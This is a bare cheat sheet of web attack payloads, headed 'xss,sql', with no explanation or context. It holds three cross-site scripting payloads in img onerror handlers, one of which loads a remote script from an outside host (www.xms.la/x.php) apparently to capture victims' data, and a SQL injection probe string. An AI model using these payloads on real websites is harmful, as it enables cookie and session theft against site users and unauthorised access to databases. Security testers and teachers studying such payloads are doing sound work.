xss,sql

xss

<img src=test.jpg  onerror="document.body.appendChild(document.createElement('script')).src='http://www.xms.la/x.php?c=L'">
<img src=1 onerror=document.body.innerHTML="<script src=xss></script>">
<img src=1 onerror=alert(1)>

sql

1%' and 1=1 and '%'='